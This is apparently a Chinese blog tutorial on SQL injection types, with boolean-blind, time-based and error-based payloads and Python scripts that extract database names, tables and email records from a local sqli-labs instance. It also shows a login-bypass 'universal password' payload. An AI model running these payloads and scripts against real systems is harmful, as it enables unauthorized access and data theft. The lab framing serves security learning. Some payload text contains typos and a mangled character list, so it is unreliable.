天天看點

sql注入種類以及測試方式和python腳本

sql 注入:

1.sql注入最重要的過程,單引号判斷注入最常見。

分為三大類:get、post、cookie

簡單判斷get型:

http://host/test.php?id=100’ 傳回錯誤說明有可能注入

http://host/test.php?id=100 and 1=1 傳回正常

http://host/test.php?id=100 and 1=2傳回錯誤
           

如果出現以上三種錯誤,基本盤判定為注入點

#盲注中隻會回顯錯誤或者正确,不會報錯

2.判斷注入類型

注入類型分為:數字型,字元型,搜尋型,内聯式,終止式。

數字型,傳入參數為數字,回顯錯誤正确來判斷:

http://host/test.php?id=100 and 1=1 傳回成功

http://host/test.php?id=100 and 1=2 傳回失敗
           

也就是說,背景sql語句查詢判斷傳入參數為數字,不用閉合sql語句。

字元型,傳入閉合字元,查詢是否出錯:

http://host/test.php?name=man' and '1'='1 傳回成功

http://host/test.php?name=man' and '1'='2傳回失敗
           

這裡比上面多了 ‘ 是以判斷回顯正确錯誤,說明背景查詢語句查詢的是字元串,進行sql注入的時候就需要傳入閉合來進行。

搜尋型,借用like語句進行搜尋,like中**%**為通配符,由于進行了通配符的比對無法進行正常的測試,依然是構造閉合條件來進行比對:

SELECT * FROM news WHERE keyword like '%$keyword%'
這裡的$keyword是使用者的輸入
當我們輸入以下語句的時候 
pt%' and 1=1 and '%'=' 
最終我們得到的語句是這樣的 
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 
這個語句又一次的閉合了
           

内聯型,指的是進行查詢的注入之後,原來的查詢依然在進行,也就是說,雖然有錯但是依然執行,需要注意的是,由于sql語句中使用了 AND 使得語句中錯誤一個傳回的都為錯誤,常見的就是登陸頁面,利用方法為構造 OR 1 = 1 來進行繞過,但是一定要注意邏輯先後順序 SQL語句中AND運算優先級大于OR :

SELECT * FROM admin WHER username='$name' AND password ='$passwd'
           

這個時候我們想辦法繞過AND,是以從password=’or 1 = 1,所謂的萬能密碼就是這種的繞過方式。

如果你從username輸入,就會導緻:

SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此時先進行 '1' = '1' AND password = ''的判斷,結果為 0
然後進行 username = '' or 0 由于username 不可能為空,是以此時為 0 or 0 為 0 最終顯示錯誤,是以萬能密碼叫做萬能密碼,不叫萬能賬号。
           

終止型,可以進行輸入注釋符來進行後面語句的注釋:

上面的題型,如果我們想要進行注入的話,我們需要注釋掉後面的 password 就能成功:

輸入:' or ''='' --
背景查詢語句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
隻進行前兩個語句,AND 後面不進行,導緻傳回為真
           

盲注:

盲注分為三個類型:

基于布爾的盲注

基于時間的盲注

基于報錯的盲注

布爾類型盲注:

mysql 一些内置函數:

length()傳回内容的字元串的長度
ascii() 傳回字元的ascii碼
substr(str,start,end) 截取字元串
           

三步走:

0x00:爆庫

url and length(database())>0 #
// 最後的數字可以進行更換來确定庫名的長度。
           

當确定了庫名長度之後,利用python腳本來進行爆破。

import requests
def get_db_name():
 result = ""
 url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #根據傳回長度的不同來判斷字元正确與否
   if length>706:
    result += char
    break
 print(result)
           

0x01:爆表

url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是優先判斷表的長度
           

當判讀出表的長度的時候就可以使用python腳本繼續跑

import requests
def get_table_name():
 result = ""
 url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 内容的值限制了表的次序,例如第二張表名就切換為 1,2)
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #傳回的長度隻有706和722
   if length>706:
    result += char
    break
 print(result)
           

0x02:脫庫

脫庫之前先判斷 emails 表中的記錄數

url+?id=2' and (select count(*) from emails)>0 %23 #count函數用于查詢表内的記錄數
           

确定了表中的記錄數之後我們進行下一步的脫庫

url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23
           

确定内容的長度。

py跑一下

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '[email protected]_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #傳回的長度隻有706和722
   if length>706:
    result += char
    break
 print(result)
           

另外就是使用sqlmap。

基于時間的盲注:

由于在進行資料庫查詢的時候線程跑的很快導緻錯誤的搜尋的運作時間為0,是以我們利用sleep函數

select sleep(N),name from animals where name = 'tigey'
           

如果查詢錯誤,那麼回顯的運作時間就為0,利用這個特性加上上面的payload修改一下就能得到新的payload。基于時間的盲注應用方面很廣泛,因為很多網站在你測試的時候隻會回顯一個錯誤,而不顯示錯誤原因以及其他情況。

這裡直接放一個大佬的腳本:

import urllib2
import time
import socket
import threading
import requests
class my_threading(threading.Thread):
    def __init__(self, str,x):
        threading.Thread.__init__(self)
        self.str = str
        self.x = x
    def run(self):
      global res
      x=self.x
      j = self.str
      url = "http://localhost/pentest/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
      html = request(url)
      verify = 'timeout'
      if verify not in html:
        res[str(j)] = 0
        #print 1
      else:
        res[str(j)] = 1

def request(URL):
  user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
  req = urllib2.Request(URL, None, user_agent)
  try:
    request = urllib2.urlopen(req,timeout=2)
  except Exception ,e:
    time.sleep(2)
    return 'timeout'
  return request.read()
def curl(url):
  try:
      start = time.clock()
      requests.get(url)
      end = time.clock()
      return int(end)
  except requests.RequestException as e:
      print u"通路出錯!"
      exit()
def getLength():
  i = 0
  while True:
    print "[+] Checking: %s \r" %i
    url = "http://localhost/pentest/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
    html = request(url)
    verify = 'timeout'
    if verify in html:
      print u"[+] 資料長度為: %s" %i
      return i
    i = i + 1
def bin2dec(string_num):
  return int(string_num, 2)
def getData(dataLength):
  global res
  data = ""
  for x in range(dataLength):
    x = x + 1
    #print x
    threads = []
    for j in range(8):
      result = ""
      j = j + 1
      sb = my_threading(j,x)
      sb.setDaemon(True)
      threads.append(sb)
      #print j
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    #print res
    tmp = ""
    for i in range(8):  
      tmp = tmp + str(res[str(i+1)])
    #print chr(bin2dec(tmp))
    res = {}
    result = chr(bin2dec(tmp))
    print result
    data = data + result
    sb = None
  print "[+] ok!"
  print "[+] result:" + data

if __name__ == '__main__':
  stop = False
  res = {}
  length = getLength()
  getData(length)
           

基于報錯的盲注:

輸入特定的函數讓資料庫報錯來顯示出來資料庫的版本号其他的等等。。

1.直接報錯

' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+ --限制傳回值不能超過一行,并且在擷取多行的時候來用limit進行限制。
           

floor 函數使用來判斷内容存在的最小整數值。

2.使用xpath函數進行 extractvalue函數,

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
           

在目标XML檔案中查找/x/xx内容,如果查詢錯誤額話就會回顯正确的資料庫的名稱。并且我們可以使用 concat函數來将database()和 **/**連起來構成新的内容:

select username from serurity.user where id=1 and (extractvalue('anything',concat('\\','select database()')))
           

新的查詢内容,由于=extractvalue函數隻能傳入“\” 是以我們故意構造錯誤的語句來進行報錯。

select username from serurity.user where id=1 and (extractvalue('anything',concat('~','select database()')))
           

就會有錯誤的回顯,會顯示出正确的資料庫名稱。

3.使用updatexml()函數:

文法:updatexml(目标檔案,xml路徑,更新的内容)

使用方式基本相同:

id = 1 and (updatexml('anything','/xx/xx/xx','anything'))
           

使用報錯方式也基本相同:利用concat 函數進行拼裝

id = 1 and (updatexml('anything',concat('~',(select database()),'anything')))
           

以上的所有方法都是基于沒有過濾,沒有waf的情況下,如何繞過waf,防止過濾,下節再說,并且不需要這麼麻煩,使用神器工具sqlmap找到注入點放進去sqlmap 梭哈一把就完事,下次講繞過waf,在下次說一下sqlmap的詳解。

To Be Continue…

ctf